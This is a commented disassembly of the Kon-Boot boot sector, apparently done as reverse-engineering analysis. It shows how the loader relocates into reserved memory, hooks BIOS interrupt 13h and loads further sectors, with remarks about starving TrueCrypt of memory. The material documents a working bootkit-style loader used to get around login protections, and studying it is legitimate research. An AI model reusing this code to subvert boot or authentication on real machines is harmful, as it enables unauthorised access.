; Kon-B00t Boot Sector
; reverse engineering done by Peter Kleissner
; code will be executed from 0000h:7C00h
org 0000h:7C00h
; do the usual initialization of the processors registers
00000000 FA cli
00000001 33C0 xor ax,ax
00000003 8ED0 mov ss,ax
00000005 8ED8 mov ds,ax
00000007 8EC0 mov es,ax
; set the stack to 0000h:7C00h
00000009 B8007C mov ax,0x7c00
0000000C 8BE0 mov sp,ax
; jump to segment 0000h
0000000E 68007C push word 0x7c00 ; initial start address
00000011 1E push ds ; cs = 0000h
00000012 68167C push word Initial_Code_Start ; ip = 7C16h
00000015 CB retf
Initial_Code_Start:
00000016 FB sti ; reactivate interrupts
00000017 1E push ds ; segment = 0000h
00000018 50 push ax ; offset = 0000h
00000019 8816EA7C mov [Store_Drive +1],dl ; remember the boot drive
0000001D E83800 call word Execute_VGA_Code
; allocate 5 KB from the end of memory and relocate
00000020 832E130405 sub word [0x413],byte 5 ; using "base memory size in KB" of BIOS Data Area (0040h:0013h)
00000025 A11304 mov ax,[0x413] ; get the new memory address
00000028 C1E006 shl ax,6 ; * 64 = * 1024 / 16 (= segment address)
0000002B 8EC0 mov es,ax ; of course es will point to the memory
; read 9 sectors from logical sector 1 to the newly allocated memory
0000002D B80902 mov ax,0x209 ; Function 02h = "Read Sector[s]", 9 sectors to read
00000030 33C9 xor cx,cx ; Cylinder Number = 0
00000032 32F6 xor dh,dh ; first floppy drive (you can't use it in your second :D)
00000034 8BD9 mov bx,cx ; es:bx -> transfer buffer
00000036 83C102 add cx,byte +0x2 ; Sector Number = 2 (= second sector)
00000039 CD13 int 0x13 ; read!
0000003B 725F jc Error_Handler ; if any error occurs notify the user
; backup original interrupt 13h vector
0000003D A14E00 mov ax,[4*13h + 2] ; segment of Interrupt 13h handler
00000040 26A30400 mov [es:0x4],ax ; store into the read sectors
00000044 A14C00 mov ax,[4*13h + 0] ; offset of Interrupt 13h handler
00000047 26A30200 mov [es:0x2],ax ; store into the read sectors
; install interrutp 13h hook
0000004B B85B00 mov ax,0x5B ; code will start at offset 5Bh
0000004E 8C064E00 mov [4*13h + 2],es ; int 13h segment = 0000h
00000052 A34C00 mov [4*13h + 0],ax ; int 13h segment = 005Bh
; jump to the relocated code
00000055 06 push es ; cs = 9XXXh
00000056 53 push bx ; ip = 0000h
00000057 CB retf
Execute_VGA_Code:
; executes 2 sectors from sector 8Ah and passes it 128 sectors of data
; store register contents (that will be later modified)
00000058 06 push es
00000059 1E push ds
0000005A 60 pushaw
; read 2 sectors from sector 138 to address 0000h:2C00h
0000005B B88A00 mov ax,0x8A ; from sector 8Ah
0000005E B90200 mov cx,0x2 ; 2 sectors
00000061 BB002C mov bx,0x2C00 ; 0000h:2C00h
00000064 E85B00 call word Read_Sectors_LoopyLoop
; allocate 65 KB, so TrueCrypt will never have enough memory :)
00000067 832E130441 sub word [0x413],65 ; again using MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
0000006C A11304 mov ax,[0x413] ; get the base address
0000006F C1E006 shl ax,0x6 ; calculating the segment address (* 1024 / 16)
00000072 8EC0 mov es,ax ; es and ds will point to the new allocated memory
00000074 8ED8 mov ds,ax
; read 126 sectors from sector 13 to offset 0000h
00000076 B80D00 mov ax,13 ; sector number 13
00000079 33DB xor bx,bx ; offset 0000h to memory of allocated 41 KB
0000007B B97E00 mov cx,7Eh ; 126 sectors
0000007E E84100 call word Read_Sectors_LoopyLoop ; read!
; read 2 sectors from sector 11 and append them to the read contents
00000081 B80B00 mov ax,11 ; sector number 11
00000084 BB00FC mov bx,126 * 512 ; append them
00000087 B90200 mov cx,2 ; 2 sectors
0000008A E83500 call word Read_Sectors_LoopyLoop ; read!
; es:bx = 9XXXh:0000h, 65 KB allocated memory & 128 sectors read in there, data
; 0000h:2C00h contains the code (2 sectors read)
0000008D 6A00 push byte +0x0 ; segment = 0000h
0000008F 68002C push word 0x2c00 ; offset = 2C00h
00000092 CB retf ; call that code
; remove the allocated 65 KB data
00000093 8306130441 add word [0x413],byte +0x41 ; no longer used, no longer required
; restore the register contents
00000098 61 popaw
00000099 1F pop ds
0000009A 07 pop es
0000009B C3 ret
Error_Handler:
; display "Err" on the screen
0000009C 6800B8 push word 0xb800 ; segment B800h = Textmode Buffer
0000009F 07 pop es ; -> access over es
000000A0 B08E mov al,0x8E ; set the character color to use
000000A2 26C606000045 mov byte [es:0x0],0x45 ; display 'E'
000000A8 26A20100 mov [es:0x1],al ; (character color)
000000AC 26C606020072 mov byte [es:0x2],0x72 ; display 'r'
000000B2 26A20300 mov [es:0x3],al ; (character color)
000000B6 26C606040072 mov byte [es:0x4],0x72 ; display 'r'
000000BC 26A20500 mov [es:0x5],al ; (character color)
Endless_loop: ; note by PK:
000000C0 EBFE jmp short Endless_loop ; use cli, hlt, no onse uses endless loops
Read_Sectors_LoopyLoop:
; ax = logical sector number
; cx = sector count
; es:bx = sector buffer
; read sector for sector
000000C2 E80900 call word Read_CHS_Sectors ; read one sector of it
000000C5 81C30002 add bx,512 ; seek in the buffer to the next sector
000000C9 40 inc ax ; -> next sector
000000CA 49 dec cx ; repeat cx times
000000CB 75F5 jnz Read_Sectors_LoopyLoop
000000CD C3 ret
Read_CHS_Sectors: ; this code is more old than I am
; ax = logical sector number
000000CE 60 pushaw ; store register contents
000000CF 33D2 xor dx,dx ; dx:ax / 36
000000D1 B124 mov cl,36 ; 36 sectors per track?
000000D3 48 dec ax ; -1 to get correct sector number
000000D4 F6F1 div cl ; => Sector Number / Sectors per Track = Cylinder Number
000000D6 8AE8 mov ch,al ; store the cylinder numer in ch
000000D8 80FC12 cmp ah,18 ; on head 1/2?
000000DB 7205 jc Read_CHS_Sectors_SetHead ; if ah > 18 then head 1
000000DD FEC6 inc dh ; head +1
000000DF 80EC12 sub ah,18 ; and -18 because of using the next head UGLY UGLY UGLY
Read_CHS_Sectors_SetHead:
000000E2 8ACC mov cl,ah ; use the correct sector number
000000E4 FEC1 inc cl ; sector number, starting from 1
000000E6 B80102 mov ax,0x201 ; Function 02h = "Read Sector[s]", 1 sector to read
Store_Drive:
000000E9 B212 mov dl,0x12 ; the correct BIOS driver number will be patched at runtime
000000EB F9 stc
000000EC CD13 int 0x13 ; read the sectors!
000000EE 72AC jc Error_Handler ; if any error occurs notify the user
000000F0 FB sti
000000F1 61 popaw ; restore register contents and return
000000F2 C3 ret
; fill with nops
times 510-($-$$) db 90h
Boot_Signature dw 0AA55h